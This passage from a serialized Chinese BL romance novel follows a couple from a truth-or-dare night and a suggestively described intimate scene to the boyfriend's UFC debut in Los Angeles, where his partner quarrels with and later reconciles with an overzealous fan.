她整个人立刻像是被泼了一盆冰水一样冷静了下来,那点心思消失得无影无踪,迅速地拿起了桌上的酒,大口大口地喝了下去,抹了一把嘴巴:“哎呀,我喝都喝了,没关系。” 喝都已经喝完了,陶真只好放弃了替她受罚的念头,重新坐了回去,祝闻声便也若无其事地收回了自己的目光。 这个小插曲并没有影响场上众人的心情,又玩了一两轮后,瓶口在圆桌上转动半晌,最终直直地指向了陶真。 视线一瞬间汇集,陶真的心扑通扑通地跳了起来,他舔了舔唇,有点兴奋地从桌上抽了一张卡牌,翻过来一看,是一条真心话。 酒吧里的灯光昏暗迷蒙,幻紫色的霓虹灯跳跃着闪过卡牌,他微微眯起眼,慢慢地将那行字念出来:“说出一个你从未让任何人知晓过的秘密……” 小时候尿尿和稀泥这种糗事让大家知道一下也没什么关系,可秘密之所以会成为秘密,都有其原因。 大家虽然八卦,可并不是那么不识趣的人,见这条题目出来,都没想着要让陶真开口,默契地倒好了三杯对他来说算不上什么的自罚酒。 可陶真想了想,却没有伸手去拿。 刚刚柳娴就是因为抽到跟他搭档才没法完成大冒险,这会儿转到了他,他又要用喝酒免惩罚……这样下去,未免也太没有意思了。 “没关系,”他想了想,说,“我还是说一个秘密吧。” 众人纷纷有些好奇地望向陶真,想听听他的秘密究竟是什么。 祝闻声倒是已经猜到了个七七八八,陶真这一生光明磊落,没做过什么不可告人的事,唯一的“秘密”大约就是包养过人。 果不其然,陶真开口:“其实,我和我男朋友是……” “包养”这个词已经涌到了嘴边,他却又犹豫了。尽管事情已经过去了,他还是不想把两人的恋爱界定为这种会让人加以揣测的关系。 偏偏这个时候,所有人都聚精会神地望了过来,等待着他的下文。 陶真骑虎难下,忍不住深吸了一口气: “其实,我们两个是柏拉图式恋爱。” “……” 众人都愣住了,一时间桌上鸦雀无声。 白宇轩和柳娴两人更是一脸茫然地面面相觑,纷纷从彼此的眼中看到了不可置信。 谁?和谁是柏拉图? 陶真和祝闻声吗? 就算把他们俩吊起来打一顿,他们也不相信。明明祝闻声的眼珠子都快黏在陶真的身上怎么扒也扒不下来了,他要跟着陶真一块来参加聚会,又全程把人看得死紧,跟野兽宣誓主权似的,就怕旁人过来蹭一蹭碰一碰他的陶真……这样的人会是柏拉图??? 见着白宇轩他们都露出了一副难以置信的神色,陶真有些无措,他真的没有在撒谎呀。 从祝闻声过生日以后,他们俩的确就再也没有过亲密的接触,而且祝闻声看起来似乎很抵触做这些似的。 他忍不住扯了扯身侧祝闻声的衣角,抬起头:“阿声,你快帮我说说……” 话音未落,祝闻声便低下了头,那一双幽沉、含着滔天波浪似的双眸直直地盯着他:“我说什么?” “陶真,我们是柏拉图式的恋爱吗。” 不知为何,祝闻声的这一句明明是陈述句,可陶真却听出了些许反问的意味,他的心里突突一跳,总觉得有什么事情偏离了他的预想,可是却说不出个所以然来。 身旁的众人似乎也渐渐地回过神来,意识到了小情侣之间“出了问题”,一个个都露出了心领神会的笑容,插科打诨地将这件事带了过去,继续转瓶子、进行下一轮真心话大冒险。 可祝闻声这会儿却抓住这件事不放了,他面无表情地伸手,在桌下牵住了陶真的掌心,一字一句地重复了一遍: “我们,是柏拉图式的恋爱?” 滚烫粗粝的大掌牵住了纤细细嫩的掌心,仿佛能一寸一寸地烙下印记。陶真只觉得有一阵又酥又麻的感觉从脊椎爬了上来,令他莫名有些呼吸不畅,讷讷地张了张唇,很小声地问:“难、难道不是吗?” 祝闻声彻底没了声音。 之前陶真那些明显或不明显的举动如同潮水一般涌了上来,他忍不住闭了闭眼,渐渐地意识到,原来陶真一直都是这么想的。 原来,他努力克制住自己,不想影响陶真转专业学习的行为,竟然被陶真误认为是他喜欢柏拉图,误以为他对这种世俗、肉|体的欲望毫无兴趣…… 想通了这一点,祝闻声的脸上甚至带了点难以言喻的笑意。 他不笑还好,一笑,陶真心里反而更慌了,总有些如坐针毡、坐立难安。 场上的真心话大冒险还在继续,众人越玩越嗨,就在所有人都兴奋到极点,大声嚷叫着拥抱在一块时,陶真忽然感觉眼前一片天旋地转,他被拉入了一个滚烫的怀抱,远离了嘈杂的人群。 “陶真,”祝闻声扛抱着他,身躯滚烫而紧绷,一字一顿地说,“如果你觉得,我接下来要对你做的事,也属于柏拉图式恋爱的话。” “你也可以继续这么认为。” “……” 陶真情不自禁地咽了一下口水,小动物般的直觉告诉他事情出现了问题,但为时已晚。 他被祝闻声扛抱着出了酒吧,霓虹灯的光晕和嘈杂的人声都渐渐远去,唯有心跳的鼓噪和沉重的呼吸越来越清晰。 祝闻声没喝酒,将陶真放上副驾驶扣上安全带后,自己则直接迈入了驾驶座一路疾驰。 汽车很快就在两人小窝的地下停车场停下。这会儿时间已晚,原本入住率就不高的小区地下车库里更是空无一人。陶真因坐车而过速的心脏并没有因为车停下来而恢复,反而随着祝闻声的靠近而越来越激烈:“阿声……” 青年垂下眸,俯身靠过来解开他的安全带。 “咔嗒”一声,两人的视线在空中交汇。 “嗯,我在。” 几个字融化进了唇齿交融的呢喃。忍耐了一整晚的祝闻声终于伸手握住了陶真的下颌,重重地吻了上去。 迎面而来的是滚烫的呼吸、潮热的唇瓣,和坚实到无法抗拒的身躯,陶真的后背紧紧地贴在座椅上,只觉得自己的呼吸被人一寸寸的攫取,连脑袋都昏昏沉沉。 可即使已经难受成这样了,他还是下意识地搂住了祝闻声的后颈,迷迷糊糊地将自己的唇瓣送了上去。 身体渐渐变得热了起来,车内的温度越来越高,车窗上渐渐浮现出一层白雾。陶真有些想哭,又有点想叫,纤细的十指抓花了一侧的玻璃,留下凌乱的指印。 四周黑洞洞的,地下停车场内只有荧光绿的安全出口指示在角落里,好像全世界的人都消失,只剩下了他们两人。 陶真也感觉自己好像被人扔进了大海,在一叶孤舟里无穷无尽地翻滚浮沉,咸涩的海水涌入口鼻,逼得他忍不住屏住呼吸。 在某个瞬间以后,他似乎终于走出了大海,被人抛到了一个小岛上,四周潮湿黏腻,很快又变得炎热干燥,我他想要开口,却说不出一个字。 而带他来到这里的罪魁祸首却打开了车门,潮湿、冷峻的脸庞反射着浅淡的光晕,目光沉沉地望着他:“真宝。” “以前到这里,不是因为我只想到这里。” “而是因为你有很多事情要做,我只能带你到这里。” 祝闻声下了车,抬手把陶真直接抱上了楼。 一叶孤舟被托举,再度进入了宽广无边的大海之中。陶真的呼吸有些急促,忍不住迷迷糊糊地呜了一声,终于意识到了,以往他总觉得到这里就结束了,可此刻对于祝闻声来说,仅仅是刚刚开始而已。 家里没有开灯,四周一片昏暗。 玄关处的桌子太过冰冷,人一旦坐上去,不消片刻就会变得格外潮湿黏腻,陶真娇气,不喜欢在这里。祝闻声于是换了个地方,抱着他到沙发上。 可沙发平常是他们一块休息看书吃饭的地方,没有在这里待多久,陶真就看见一块自己平常最喜欢的抱枕,他于是又没忍住哭了,哆哆嗦嗦地抱着祝闻声的后颈,撒娇似的说自己也不要在这里。 祝闻声一直听从他的命令,最后两人还是回到了卧室。 不知时间到底过去了多久,也不知道到底还来不来得及,可陶真觉得真的不能再这样下去了,因为肚子里好满好胀,即使之后祝闻声一定会帮他清洗,他还是适应不了这种感觉。 他现在没办法说话。所以扯了扯祝闻声的小指,示意他看向床头柜下面。金发少年眼尾湿淋淋的,带了点哭腔的尾音也软乎乎的:“我之前、我之前买了……” 祝闻声的动作果然一停,顺着他的视线望去,却并没有伸手拿,反而慢条斯理地俯身,替他舔吻尽了眼尾的泪珠,低声说:“我知道。” “上次我就想说,没找到时间……” 祝闻声一字一顿地说:“宝宝,你买的避|孕|套,尺码太小了。” 62 ? 第 62 章 ◎全天下没人比他更喜欢祝闻声了好不好!◎ 陶真因为一句柏拉图, 付出了极大的代价。 第二天醒来的时候已经日上三竿,看见手机上白宇轩和柳娴他们发来的消息也无心回复,只想着世界上能有后悔药, 他能倒退回昨天晚上,再也不提柏拉图这三个字。 什么每四年做一次, 祝闻声一晚上就能做四次不止。 后悔药是没有的,他唯一能吃的就是消炎药。 屁股和腿都好痛,在床上躺了个两三天, 陶真才终于恢复了过来,只能庆幸这会儿已经放暑假, 没什么要他忙的事情。 不过这会的祝闻声与他相反。 距离祝闻声拿到VCC冠军已经有两三个月了,现在的他不仅办妥了所有签约的手续,也完全恢复了身体机能、调整好了状态,所以俱乐部那边考虑这段时间让他进行UFC的首秀。 首秀可不是一件小事, 有一句话叫做“良好的开端是成功的一半”, 若是一名选手刚进UFC就输得惨烈, 旁人很难再相信他的实力,也就很可能会影响他后续的商业价值。 所以不仅俱乐部, 就连陶真也跟着紧张了起来,没空跟祝闻声计较他明明知道那东西的尺码小、却不跟自己讲的事, 有些严肃地搜索了UFC比赛的流程以及祝闻声对手的情况,祝闻声自己也开始了加强的针对性训练。 一切都紧锣密鼓、有条不紊的进行着,时间很快就来到了七月二号。 比赛安排在洛杉矶,飞机落地,刚好是当地时间的中午。 俱乐部的众人连口饭也没来得及吃, 便匆匆忙忙地和当地的工作人员交接起来, 祝闻声作为选手自然也不会有多悠闲。唯有陶真这个无业游民无所事事, 帮忙把行李安顿好后便出门觅食。 他本来穿的是自己的衣服,但是这里的酒店都已经被UFC的工作人员、比赛团队、媒体记者包了下来,他这个与周遭环境格格不入的穿搭总会被人多看两眼。 想了想,他干脆又折回去,从祝闻声的行李箱里捞了一条备用的黑色工服穿上。 这下终于顺眼多了,完美地融入了周围的环境,也没什么人再盯着他看。 陶真顺畅地下楼,到酒店一层的餐厅看了一圈,却忍不住皱起眉。这儿到底还是跟国内有着文化差异,菜色是寡淡且奇怪的白人饭。 从小都不习惯吃这种菜色,陶真有点忍不了,干脆地打开了导航,搜索起了周边的饭店。 巧的是,附近一公里左右就有一家在整个洛杉矶都非常有名的中餐馆,软件上好评如潮。他风风火火地赶到现场一看,果然,在门口就能闻到里面传出来的香味,里面用餐的有不少都是华人面孔。 唯一的缺点就是外面排队等待的队伍格外长,但陶真想着自己本来现在也没事,就拿了个号,到队伍最后排起了队。 纤细白皙的金发少年长着一张漂亮夺目的脸,偏偏身上穿着格斗俱乐部的衣服,这样的反差很快就吸引了旁人的视线。 很快,一个看起来满身腱子肉、留着小胡子的外国青年便从座位上站起了身,直直地向他走了过来,目光牢牢地盯着他,并且用英语问了他一句话。 擅长唱歌的人似乎在语言方面都有些天赋,所以陶真的英语水平其实还挺好的,愣了两秒就反应过来,重复了一遍:“……你问我认不认识格斗选手S?” 那小胡子青年立刻说了一声“Yeah”,又靠近了陶真,指了指他的黑色上衣,努力用有些蹩脚的中文说:“我是S的粉丝,知道他要在这里打UFC的比赛,所以故意过来看他!” “你穿的是他们的同款衣服,你是staff?” 在异国他乡碰见祝闻声外国粉丝的感觉很奇妙,陶真本来想说自己是S的男朋友,但又怕给黎旻他们惹什么麻烦,最后还是含含糊糊地说:“不是,但我很喜欢他。” 很喜欢S,并且穿着他的同款衣服,但不是工作人员…… 那满身腱子肉的小胡子脸色顿时变了,用有些挑剔的目光将陶真从上到下地看了一遍,皱起眉头、语速极快地用英文说:“那你是从哪里搞来这套衣服的?你怎么能做这样的事?” 陶真一时间有些懵了,虽然他的英语水平还挺好的,但还不足以和本地人吵架,这会儿绞尽脑汁地想着措辞: “不不不,你误会了……” “NO!” 小胡子却皱起眉,没听陶真解释完,夸耀似的展示了一下自己的腱子肉,“我没有误会。如果你真的是S的粉丝,就要像我一样向他学习,不说跟他一样成为UFC里最有潜力的竞争者,总得像我一样,拥有强壮的肌肉……” 说到这儿,他甚至还仗着身高的优势,居高临下地望着陶真:“看起来你对健身和格斗一无所知,你确定你真的喜欢S?” 什么叫做“你确定喜欢S”? 全天下没人比他更喜欢祝闻声了好不好! 陶真相当不服气,恨不得冲上去给这小胡子来两拳,在估算了一下自己和他之间的身材差别后才理性地按捺住了自己。 打是打不过了,说总能说两句吧?金发少年一双乌黑透亮的眼睛瞪得溜圆,雪白的双颊被憋得通红,气势汹汹地叉着腰用英文反驳:“谁规定一定要练出像健美选手的身材,才有资格看格斗比赛、有资格喜欢S呢?你这完全就是歪理!” “当然不是练出这样的身材才有资格,但至少……”那小胡子眼睛一转,反驳倒是很快,“至少不能像你这样,去偷他俱乐部的衣服穿!” 偷衣服…… 陶真气得险些炸了毛,直接放弃了英文:“我才没有偷衣服呢!我不是他的工作人员,但我是他的家属。我穿他的衣服是天经地义,不仅我是他的粉丝,他也是我的粉丝呢!” 那小胡子果然不说话了。 半晌,就在陶真以为他已经知难而退的时候,他突然皱着眉头开口:“我没听懂你刚刚在说什么……你是在念咒语吗?” “……” 简直一拳打在了棉花上,陶真像只泄了气的河豚,缓缓吐出了一口气,渐渐回过味来,不明白自己为什么要跟一个固执的小洋人吵得有来有回的。 刚好这会跟那小胡子同桌的伙伴们吃完饭从饭店里出来了,几个男人笑着拍了拍他的肩膀,将他强行拉走。 一个华裔女孩则站了出来,赔笑着向陶真打招呼:“真是不好意思,他平常就这个德行,有点死心眼。他是S的忠实粉丝,在S还没签约UFC的时候就关注到他了,这会知道他要比赛,更是千里迢迢地跑到洛杉矶来看……” 好吧,看在他真的是祝闻声忠实粉丝的份上。 陶真虽然还有一点生气,但情绪已经渐渐地平息了下来,跟那女孩表示没关系。 女孩感激地冲他笑了笑,往前跟上朋友的步伐,一群人浩浩荡荡地走了。 刚好餐厅里面空出来一个桌位,服务员快速地擦完桌椅、换好餐具,便将陶真喊了进去,给他递了一本菜单。 陶真便勉勉强强地将心中的情绪压了下去,拿起菜单浏览了一遍,给祝闻声打了个电话: “喂,阿声,你忙完没有呀?和黎旻姐他们在一块吗?” “我现在在外面饭店呢,等下把菜单发给你,你们看一下有没有什么想吃的,我打包带回去。” “没关系,能有多重呀?你就休息一下吧,不用再过来一趟……” “……” 刚刚在餐厅外和一个小胡子争论的少年走进了餐厅,模样俊秀,身上似乎有种特别的气息,让人格外想亲近。 所以,在他掏出手机打电话时,和丈夫女儿坐在一块的女人没忍住抬起头,面带微笑地望着他。 然而,她脸上的这份笑容,却在听见他提到两个熟悉的名字时瞬间凝固。 心脏狂跳,过了好几秒,女人才如梦初醒般回过神,紧紧地盯着少年身上的俱乐部服装,略微有点哆嗦地从口袋掏出手机,点开搜索引擎,一股脑地将格斗、UFC、S等关键词输了进去。 代表缓冲中的灰色标识转了一圈又一圈,终于成功地跳转了出来,她匆匆地看了几眼便不忍再读,纤细的十指死死地捏住手机,几乎要将那结实的屏幕捏碎。 一旁金发碧眼的丈夫还在殷殷切切地为两人夹菜,好奇的小女儿则凑到了她的身边,心疼地吹了吹她的十指,娇声问:“妈妈,你在看什么?怎么啦?” 刚好这时不远处的少年挂断了电话,女人猝然低下了头,冲女儿露出了一个很勉强的笑容:“没什么……” 身后似乎有两道若有似无的视线一直落在自己身上,陶真没忍住扭头寻找了一番。 四周嘈杂,熙熙攘攘的人群喧闹,刚出锅没多久、还冒着白烟的食物散发着呛鼻的香气,来自五湖四海的顾客长相各异,交谈间带着独特的口音,各自大快朵颐。 什么都没发现,没有人在盯着自己。 ……那,难道是自己出现了幻觉吗? 陶真都有些要怀疑自己了,还好下一刻黎旻他们将勾选好的菜单发了过来,他便赶快跟服务员报起了菜名。 拿着小费离开的服务员很快就去后厨为他准备餐点,不一会,热腾腾的打包盒和打包袋就在面前垒成了小山。 陶真这才意识到祝闻声的先见之明,有点后悔自己刚刚拒绝的那么快。 然而,正在他尝试着一口气将这十来个打包袋都一次性拿走的时候,忽然听见了一道清脆的风铃声。 餐厅的玻璃门被人打开,一个个高腿长的青年径直走了进来。 他宽肩窄腰,一张俊脸冷淡夺目,在一众深邃的欧美面孔中毫不逊色,反而有着独特的魔力,轻而易举的在人群中脱颖而出。 陶真顿时眼睛一亮,如蒙大赦般:“阿声!” 祝闻声走向他,却并没有责怪他一个人试图逞能的行为,只是从他手里接走了那一大半的打包袋:“嗯。” 手上骤然轻松了许多,陶真先是高高兴兴地绕过去,很快却又不知道想起了什么,有点酸溜溜地捏了捏自己纤瘦的胳膊:“……你说,我是不是也应该跟你们一块健身呀?” 祝闻声扬眉:“为什么?” 陶真不说话了。 他想起小胡子那极为健美的身材,又看了看轻轻松松将桌上那些菜拎起来的祝闻声,半晌后才哼哼唧唧地说:“没有为什么,就是单纯想练了……” 他们并肩离开了餐厅,沿着道路往前,走到末端时渐渐缩小成了两个黑点。 几乎将脑袋埋进餐盘里的女人这才渐渐抬起头来,勉强冲身旁关心的丈夫和女儿露出了苍白的笑容。 她今年其实已经四十多岁了,但因保养得当、气质温婉,看起来才三十岁出头,容貌就算是跟明星比也毫不逊色。 因此,若是她自己不说,恐怕旁人也不会知道,她还有个二十岁的儿子。 63 ? 第 63 章 ◎不然的话,谁来心疼你?◎ 这家中餐厅距离酒店也就一公里, 祝闻声和陶真脚程很快,回去的时候几个餐盒都还是热的。 一打开,鲜香麻辣的红油香气扑面而来, 挂着香料的肉片色泽诱人。黎旻他们闻讯而来,一个个都饿得眼冒绿光, 如狼似虎地扑过来将东西分了。 陶真当然也很饿,但他心里记挂着那小胡子说的话,还是勉强克制住了自己, 没有加入他们,反而将目光投向了一旁的祝闻声。 桌上的菜香得要命, 众人都快失去理智了,可祝闻声却好像毫无反应。他甚至都没有上桌,直接拿起了营养师为他准备好的饭盒。 里面是西兰花、大头菜、牛肉、虾、枸杞水,冬虫夏草汤……又健康又寡淡, 简直令人毫无食欲。 ——祝闻声就只吃这个吗? 一旁的黎旻注意到了发愣的陶真, 干脆地拍了拍他的肩膀, 调侃道:“发什么呆呢?再不赶快坐下,等会儿可就没饭吃了啊。” 陶真回过神, 冲黎旻笑了下,随她一块到餐桌边坐下, 拿起碗筷时却又犹豫了。 在众人茫然的视线中,他转过身,哒哒地跑到祝闻声身边,拿起一旁多余的一份健康餐,小声说:“……我也想吃你这个。” 祝闻声微微一怔, 实话实说:“这个不好吃。” 原本陶真就是因为不想吃白人饭所以才辛辛苦苦跑到外面餐厅打包的, 怎么回来一趟就又想吃减脂餐了? “没关系, 我就是想尝尝……” 陶真语速很快,往嘴里塞了一筷子那几乎没什么味道的西兰花,小脸微不可察地皱了一下:“健身的人……平常都只能吃这些吗?” 祝闻声垂眸,默不作声地把陶真碗里的西兰花夹走,低声说:“没有这么严格,但确实要少油少盐。” 陶真长长地“唔”了一声,又往嘴里塞了一口没什么油水的牛肉,心里酸溜溜得直冒泡。 虽然没有人规定一定要练出像健美选手一样优秀的身材才能够看格斗比赛、才能喜欢祝闻声,可是能够向祝闻声学习、并把自己锻炼成那么健壮的样子…… 好吧,他不得不承认,那小胡子的确是祝闻声的忠实粉丝。 一顿饭接风洗尘完毕,祝闻声正式开始赛前一周的训练。 国际比赛的流程会比之前国内的比赛要更加复杂,难度也更加大,对战的选手不再是名不见经传的小卒,而是在国际排行榜上赫赫有名的猛将,所以战术策划在这会儿变得尤为重要。 教练等人很早就开始做祝闻声这次对手的针对性分析了,这会趁着他热身完毕、喝水的间隙,又不厌其烦地用投影仪把对手的赛场录像放了出来。 “注意奥斯本这里的起势……有看清楚他的动作吗?他跟一般人不一样,是个左利手,所以习惯性地会从自己的惯用手出击。” “看这个左直拳,这是他的招牌动作!” “来,刘教练过去一下,对,你来模仿一下奥斯本……不行,不对!重新再来。” 仅仅只是一个简单的动作,他们却不厌其烦地练了许多遍,一次又一次的重复,目的是为了让祝闻声克服自己的思维惯性,训练他针对这个动作的条件反射。 陶真则把那个小胡子当成了自己的假想敌,也和他们一样,在旁一本正经地胡乱挥拳,到后来已经抬不动胳膊了,气喘吁吁地倒在沙发上,思绪随风飘远。 黎旻进来给众人送水,看见他的模样忍不住笑了:“看他们训练多无聊啊,酒店楼下有个电玩厅,怎么不去那边消遣一下?” 陶真勉勉强强地从沙发上爬起来,接过她递来的水喝了两口,鼓起脸颊摇了摇头,随口道道:“阿声他……平常都这么练吗?” “不,怎么可能,”黎旻笑着话锋一转,“他平常练得比现在凶多了。” 陶真一怔。 “毕竟马上就要比赛了,他还得准备脱水,所以需要保持一下体力……”见陶真拧起眉,黎旻意识到了什么,宽慰他,“放心吧,打了那么多场比赛,他早就习惯了,心里有数。” 陶真却抿住唇不说话了,只感觉垂在身侧的手臂比刚刚还要沉重。 再次抬起头时,眼里只剩下了祝闻声的身影,看不见那个得意洋洋、夸耀肌肉的小胡子了。 持续几天针对性训练、保持四到八升饮水量摄入,赛前倒数第二天,祝闻声开始脱水,为称重环节作准备。 陶真从来没有近距离看过格斗选手脱水,之前VCC比赛的时候,也只是听祝闻声随口提了一下,并不知道这个环节会这么危险—— 原本夏天就容易中暑,大部分人都得呆在空调房里,赛前的格斗选手却偏偏要反其道而行之,在桑拿房里蒸桑拿,穿暴汗服骑单车,一整天都不能摄入超过二百毫升的水分,当晚必须要靠吸氧维持状态。 若是身体素质稍微差一点的,恐怕都扛不到后面上场,在这儿就能交代过去。 好不容易熬到了翌日准备称重,媒体的长枪短炮对着台上选手,礼仪小姐来回走动,交谈声不绝于耳,整个场上的气氛热烈而激动。 陶真情不自禁地为祝闻声捏了一把冷汗,简直比自己高考的时候还紧张,和教练团队们紧张兮兮的翘首以盼,终于看见称上弹出的数值。 成功过关! 陶真心潮澎湃,但他只来得及松一口气,就想起后面一道更大的难关,心脏再度提到了嗓子眼。 终于熬到了七月十号,UFC洛杉矶格斗之夜。 台下坐满了观众,虽然有一些是从国内追随而来的华人粉丝,但更大一部分都是欧美面孔。他们正欢呼尖叫着,大声喊着选手的名字。 台上八角笼漆黑,四周的灯带映着多彩的光芒。两方选手各自进入笼内,上身不著寸缕,下身只穿着短裤,露出精壮坚实的肌肉。 主持人带着招牌的开场白向众人问好,瞬间将气氛炒到了高|潮,将镜头带给了场上的两位选手。 率先出场的奥斯本是个厚嘴唇的黑人,个头稍矮,但浑身肌肉像是打铁锻造出来的那般漆黑结实,在主持人的介绍中冲镜头龇牙,露出了一个凶残的笑容。 他在圈内被国人戏称为“传奇耐揍王”,刚一出场,就引发了场下一阵海啸般的尖叫。 接着,镜头晃给了祝闻声。他没有像奥斯本那样露出挑衅的神色,只是抬眸望了一眼镜头,就继续慢条斯理地整理着自己的半指拳套,稍显戾气。 跟经验十足、早已出道的奥斯本对比起来,他只是个陌生又青涩的东方面孔。况且这是他在UFC的首秀,观众席有喝彩,有欢呼,也有怀疑。 陶真站在八角笼底,扯着嗓子喊着加油。 比赛正式开始,四周暗下来,顶光勾勒出台上青年冷峻锋利的身影。 这些天的控制饮食、针对性训练、脱水,恢复状态……所有的压抑都在此刻褪去,暴躁凶悍体现得淋漓尽致。 祝闻声卸下了身上那层平静冷淡的伪装,露出了野兽般的凶狠,横扫,接拳,地面缠斗压制,他像是头刚出笼的狮子,一拳打散了奥斯本脸上的挑衅和笑意。 普通的UFC比赛只有三回合,每回合五分钟。 奥斯本没能坚持住,在第一回合的两分半左右被祝闻声KO,失去意识昏厥倒地,医疗团队急匆匆地翻身上台抢救。 场下先是鸦雀无声,两秒后响起了雷鸣般的掌声,观众和解说员的欢呼尖叫不绝于耳。 “传奇耐揍王”又如何? 只要我KO,管你传不传奇、耐不耐揍! 那个小胡子在观众席,以一当十地大声吼叫着祝闻声的昵称,陶真也后知后觉地反应过来,兴奋至极地抬起头,弯着眼睛喊着祝闻声的名字。 聚光灯将八角笼中的青年照得很远,可下一刻青年便低下头,准确无误地在人群中找到了他,冷峻凶悍的神色融化,短促地露出了一个温和的笑容。 陶真的心脏被某种情绪涨满,突然有些莫名的鼻酸。 上次VCC决赛,他也像今天这样站在这里。 可是那会的他,只看见了祝闻声的成功,却没有看见在此之前,祝闻声所付出的努力。 比赛结束后还有一系列事宜。 祝闻声作为选手,本该是在工作人员的安排下单独去检查身体、应对媒体采访的,但因原定三回合的比赛如今被压缩的只剩下五分钟不到,主持人还在台上疯狂地念着赞助商的广告词,场内十分吵闹,给了陶真他们可乘之机,一拨人干脆浩浩荡荡地一块去了休息室。 到底是赢了比赛,每个人的脸上都洋溢着笑容,简直比从高考考场里出来还要兴奋激动,就连负责检查的医生也被他们感染了,笑着放下了替祝闻声检查的设备: “要不是因为有职业道德,看见S的KO之后,我都不会替他多检查……已经好了,没什么问题。你们收拾收拾就可以去庆功宴了。” 周遭响起一阵善意的笑声,几人一块走出了休息室。 黎旻他们也没多推辞,打算兵分两路,让祝闻声去应对媒体的长枪短炮,他们自己则先去餐厅定桌子。 本该跟着他们后面一块儿走的陶真想了想,却临时反了水:“你们先去吧,我跟阿声一块,忙完就到。” 刘教练是个老实人,闻言下意识说:“你确定吗?其实不用陪的,这些媒体问的问题可无聊了,你可以先跟我们……” 话音未落,一旁的黎旻忽然笑眯眯地打断了他,她冲两人露出了一个心领神会的笑容,着重咬字:“行,那你们忙,等一下我把地址发给你们俩,一定要记得来啊!” 教练还是满脸犹豫地想说些什么,还没来得及开口就被黎旻拉走了,交谈间,依稀传来女人含着笑意所说的“二人世界”和教练恍然大悟的感叹声。 “……才不是呢!” 倒也没有饥渴到在人家比赛的后台就啃起来的地步吧! 陶真莫名感觉自己风评被害,生怕祝闻声也是这么想的,便赶快抓住他的手腕晃了晃,“阿声,其实我是想问……你能不能帮我签个名?” “我想把这个签名送给一个喜欢你的粉丝,好不好呀?” 金发少年仰着脸,乌溜溜的双眸里晕着些许模糊的倒影,好像缀着星子一般亮晶晶的。 祝闻声仿佛被这双眸吸了进去,情不自禁地怔了片刻,恍然间想起这些天陶真的种种异样。 在餐厅时便说自己想健身,回来之后也选择了减脂餐,这些天更是在训练室把自己弄得气喘吁吁…… 片刻后,祝闻声忽然开口:“怎么,有人跟你说什么了吗?” 陶真没忍住睁大眼,大约是没想过祝闻声这么快就能猜出来。 但他并没有第一时间回答祝闻声,反而从后台摸了一只金色的签字笔和没开过封的队服,让祝闻声在上面签了个名,之后才拎着这这样东西悄悄地从员工通道绕到前面的观众席,指了指和一群朋友坐在看台上的小胡子,这才简单地说了一下那天的事。 “其实他也没错……看见我穿着队服,以为我是偷衣服的私生粉,所以才会教育我,如果真的喜欢你,就应该像他那样,向你学习。” 原来如此。 祝闻声的喉结滚了滚:“可是你不用——” “我一开始也觉得不用!” 陶真仿佛知道他要说什么,提前抢答,“毕竟我喜欢你,不代表着我一定要变得跟你一样,况且,我没有什么健身和格斗的天赋。” “但他提醒了我,如果我真的喜欢你,就该了解你喜欢的事情,就该知道你有多么不容易……” 陶真认真地说:“不然的话,谁来心疼你?” 【📢作者有话说】 二更! [可怜][可怜][可怜][可怜] 64 ? 第 64 章 ◎有你心疼我,我就再也不会不开心了。◎ 空气突然寂静, 不远处传来阵阵喧哗躁动的声响,那一切暴力冲突离他们很近又很远,整个世界仿佛只剩下他们两人。 祝闻声闭了闭眼, 忽然俯身,牢牢地抱紧了陶真。 青年宽肩窄腰, 刚刚运动完的身躯还带着点滚烫灼人的热意,心脏鼓噪;身上除了熟悉的跌打损伤膏药味外,还有些许凛冽隐约的血腥气, 可这在他的身上却并不难闻,反而显得格外令人安心。 两人在黑暗里安静地相拥了片刻, 陶真蜻蜓点水般贴了贴祝闻声的侧脸。 他本来想让祝闻声留在员工通道,自己把签名给小胡子后就离开,但祝闻声提醒他,这样的行为说不定反而会让他再次被小胡子误解。 最终还是等祝闻声采访完毕, 他们请了一个工作人员帮忙, 将那小胡子带到他们的后台休息室。 一开始被工作人员喊走的时候, 小胡子是震惊的,揣着满腹怀疑到了目的地, 在看见祝闻声本尊时消失殆尽,瞪大眼惊叫出来:“S!真的是你!” 看见偶像活生生的站在自己的面前, 他几乎兴奋得有些过了头,下意识地想冲过去给祝闻声一个熊抱,下一秒却又看见了一旁的陶真,结结实实地愣在了原地,忍不住道:“你, 你是那天那个?” 虽说已经不计较小胡子说他没资格喜欢祝闻声的事了, 但这会看见小胡子露出这么一副膜拜的模样, 陶真不可避免地生出些许得意,高高地翘起了自己的小尾巴。 他笑眯眯地叉腰靠在祝闻声身上,将手里的签名队服递了过去,用早就准备好的英文说:“没错,我就是那天那个,我不是员工,也不是过激的粉丝,我是他的家属!” 祝闻声很少见到陶真露出这般炫耀的小模样,没忍住勾了勾唇角,向小胡子打了个招呼。 光接过签名时小胡子已经激动得快要晕厥过去了,又看见祝闻声主动跟自己说话,他兴奋地连说话都结巴,连忙对陶真道:“我的老天!谢谢你!真是谢谢你,你没有偷衣服,很抱歉我之前误会了你……” 陶真大方地点了点头:“没关系。” “我很早之前就开始喜欢S了,谢谢你介绍我们认识!”小胡子眉飞色舞地冲陶真点了点头,旋即便满眼渴望地看向祝闻声,“S!你今天的格斗太出彩了,足够我学习很多!我相信你一定能拿到中量级的金腰带!能不能给我留一个你的联系方式,我真的一直都非常喜欢你……” ……等等等等,什么叫做“介绍我们认识”,怎么感觉有些不对了呢? 陶真拧起眉,没等祝闻声开口,便警觉地往前一步挡在他身前:“谢谢你对他的喜欢,但是他不加私人联系方式!” “WHY?” 那小胡子正说到兴头上,有些惊讶地看了一眼陶真,转头看向祝闻声时几乎露出了一个娇羞的表情:“S,我不会散播你的私人联系方式,我真的超级喜欢你,你是我心目中的男神,如果你不介意的话,我……” 这小洋人简直就是恩将仇报! 怎么能当着他的面勾搭祝闻声! 脑海里的一根弦“啪”地一下断了,陶真炸毛:“他不加别人微信!他有男朋友了!” 小胡子一怔,又露出了困惑的表情:“……微什么信?” “……” 陶真脑袋嗡嗡的,他向来大方,但此刻竟生出了一种将签名收回来的冲动。 一旁的祝闻声罕见地笑了,用英文拒绝了小胡子,牵着他的手离开了后台。 直到这会,陶真都还沉浸在刚刚的没发挥好的懊悔之中,鼓着小脸复盘,看起来相当生气。 祝闻声垂眸望着他,唇角忍不住微微勾起,想了想,忽然说:“不然……” 陶真果然抬起了眼,望向他:“嗯?” “等有空的时候,我去定制一个项圈,在上面写你的名字,”祝闻声语气平静淡然,“你不在我身边的时候我就挂脖子上,这样别人就知道我是你的了。” “……” 